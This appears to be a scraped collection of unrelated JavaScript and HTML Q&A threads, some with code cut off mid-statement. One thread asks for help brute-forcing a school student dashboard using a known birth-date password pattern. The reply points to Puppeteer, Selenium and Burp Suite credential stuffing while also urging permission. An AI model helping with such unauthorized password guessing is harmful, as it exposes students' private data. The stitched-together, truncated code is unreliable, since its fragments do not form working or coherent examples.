I'm using Visual studio code for programming and I'm testing my codes with live server. But today I'm stuck with an error.
My code is below.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=,, initial-scale=1.0">
<title>Test lesson</title>
<script src="/JS/jquery-3.6.1.min.js"></script>
<link rel="stylesheet" type="text/css" href="css/main.css"/>
<script>
$(function(){
$("div").find("*").css({
"color":"red",
"border":"2px solid red",
});
});
</script>
</head>
<body class="ancestors">
<div class="descendants" style="width:500px;">div
<p class="first">P (child)
<span>Span (grandchild)</span>
</p>
<p class="second">P (child)
<span>Span (grandchild)</span>
</p>
</div>
</body>
</html>
So, when i run this code with live server, my browser says :
// <![CDATA[ <-- For SVG support if ('WebSocket' in window) { (function () { function refreshCSS() { var sheets = [].slice.call(document.getElementsByTagName("link")); var head = document.getElementsByTagName("head")[0]; for (var i = 0; i < sheets.length; ++i) { var elem = sheets[i]; var parent = elem.parentElement || head; parent.removeChild(elem); var rel = elem.rel; if (elem.href && typeof rel != "string" || rel.length == 0 || rel.toLowerCase() == "stylesheet") { var url = elem.href.replace(/(&|\?)_cacheOverride=\d+/, ''); elem.href = url + (url.indexOf('?') >= 0 ?

Can anyone help me please for fix that error?

I have a problem with using js scripts inside HTML files.
There are 2 HTML files a and b. b is included inside a by using the script below.
function includeHTML() {
var z, i, elmnt, file, xhttp;
z = document.getElementsByTagName("*");
for (i = 0; i < z.length; i++) {
elmnt = z[i];
file = elmnt.getAttribute("w3-include-html");
if (file) {
xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4) {
if (this.status == 200) {elmnt.innerHTML = this.responseText;}
if (this.status == 404) {elmnt.innerHTML = "Page not found.";}
elmnt.removeAttribute("w3-include-html");
includeHTML();
}
}
xhttp.open("GET", file, true);
xhttp.send();
/* Exit the function: */
return;
}
}
}
I took it from w3school.com, using for include HTML, and my HTML file a and b is shown below:
a.html:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<div w3-include-html="b.html"></div>
<script>
includeHTML();
</script>
</body>
</html>
And the b.html file:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">

<h4>The gist enbed link:</h3>
<script src="https://gist.github.com/meminb/8e2488a47bacc7e93e645022d3dc3af1.js"></script>
</body>
</html>
I am expecting to be able to see the gist that I have embedded with script tags in the a.html file but it does not work. Is there any point I am missing to achieve this, or any other solution to be able to run script tags in included files?
Try this
function includeHTML() {
var z, i, elmnt, file, xhttp;
z = document.getElementsByTagName("*");
for (i = 0; i < z.length; i++) {
elmnt = z[i];
file = elmnt.getAttribute("w3-include-html");
if (file) {
var iframe = document.createElement('iframe');
iframe.style.cssText = 'border:none;width:100%;height:100%;';
iframe.src = file;
elmnt.removeAttribute("w3-include-html");
elmnt.appendChild(iframe);
setTimeout((f, e) => {
var body = f.contentWindow.document.body;
var html = f.contentWindow.document.documentElement;
var height = Math.max(body.scrollHeight, body.offsetHeight, html.clientHeight, html.scrollHeight, html.offsetHeight);
// console.log(e);
e.style.height = height + 'px';
// console.log(height);
}, 500, iframe, elmnt);
return;
}
}
}
I am a high school student and I am trying to make a password cracker to show my school how vulnerable their Student Dashboard is. A student Dashboard is a website that contains student accounts, links, and private information like addresses, passwords, and relatives.
Everyone's password has the following syntax: Pmonth/day/year
EXAMPLE: P05/03/2005
There is a problem though, when the code clicks the sign in button, the URL changes, and the page reloads, which stops the code when I run it in the console.
Is there a way that I could keep the code running from console even if page reloads.
I have thought of using web cookies to store the last used password, and then when the page reloads, just input it into the password textbox, but I am not sure, since I haven't used cookies before.
Any help is greatly appreciated.
What I am aiming to do is that I input an Id, and then it tries to crack the password by going through all dates a year has after 2003.
I will appreciate all answers, but I would like my answer in raw javascript(no libraries).
The sign in page consists of an username textbox, a password textbox and a sign in button.
Here's what the sign in page looks like: Sign in page
Here is the source code of the page:

Your challenge is to persist your JavaScript code inside a website hosted by someone else. All code within your browsers console is obsolete after page reload.
Another challenge you are facing is a legal one. It's highly recommended to get a permission to access an online service for the purpose you described. Any kind of security assessment has to be coordinated and aligned with the organization responsible for the questioned online service.
Since you will not want to change the content of the web server for legal reasons, you would need a tool manipulate the content served by the webserver within your client (read "browser").
There are browser automation tool like Puppeteer or Selenium Webdriver you can use to request any url repeatedly and to automate certain actions within the context of a browser like clicking elements, filling forms, executing JavaScript and so on.
Additionally there a fuzzers that can perform what is called credential stuffing. You can read more here about Burp Suite.

if(names[i].search(/ie$/) != -1 || names[i].search(/y$/) != -1)
count++;
return count;
}
The functions in javascript dont take types, it should just be name
you need to remove the var from NbnamePattern(var names) function
<!DOCTYPE html>

<script>
function NbnamePattern(names) {
var count = 0;
for (var i in names) {
if (names[i].search(/ie$/) != -1 || names[i].search(/y$/) != -1)
count++;
}
return count;
}
</script>

<script type="text/javaScript">
var names = new Array("freddie", "bob", "mieke", "yahoo2", "georgey"); var count = NbnamePattern(names); document.getElementsByTagName("p")[0].innerHTML = "The number of names having these two patterns (/ie$/) and (/y$) in the array is:" + count;

I use this js to create a jwplayer.
<script language="javascript" type="text/javascript" src="embed/swfobject.js"></script>
<div id="playerContainer">player should load here</div>
<script language="javascript" type="text/javascript">
var flashvars = {};
flashvars.linkfromdisplay = "true";
flashvars.autostart = "true";
flashvars.height = "480";
flashvars.width = "640";
flashvars.volume = "90";
flashvars.repeat = "false";
flashvars.displayheight = "640";
flashvars.displaywidth = "480";
flashvars.skin = "embed/minimal.zip";
flashvars.stretching = "exactfit";
flashvars.file = "http://" +
escape("1.1.1.1/stream.php");
var params = {};
params.menu = "true";
params.allowscriptaccess = "always";
params.allowfullscreen = "true";
params.wmode = "transparent";
var attributes = {};
attributes.id = "playerContainer";
attributes.wmode = "transparent";
attributes.name = "playerContainer";
swfobject.embedSWF("jwplayer/player.swf",
"playerContainer", "640", "480", "8","expressInstall.swf", flashvars,
params, attributes);
</script>
This works fine but when there is any problem and the stream is down or not found, I want to stream another link.
You can use onError() to do this.
Here is a demo:

In the following code, my attempts at creating the preparePlaceholder on the the fly
has failed, and the only error is "parent is not defined" from the error console.
I'm modifying this example for use with a JS object literal and could use the
sage wisdom of StackOverflow.
TIA

Have an example here which doesn't produce errors. I have removed your comments and put in comments where I have changed the code.
JavaScript:
var gallery = document.getElementById("imageGallery");
// Changed from imageGallery to gallery
imageGallery.insertAfter(placeholder, gallery);
// Changed from imageGallery.placeholder to placeholder
imageGallery.insertAfter(description, placeholder);
HTML:
<div id="imageGallery"></div> <!-- Added this div -->
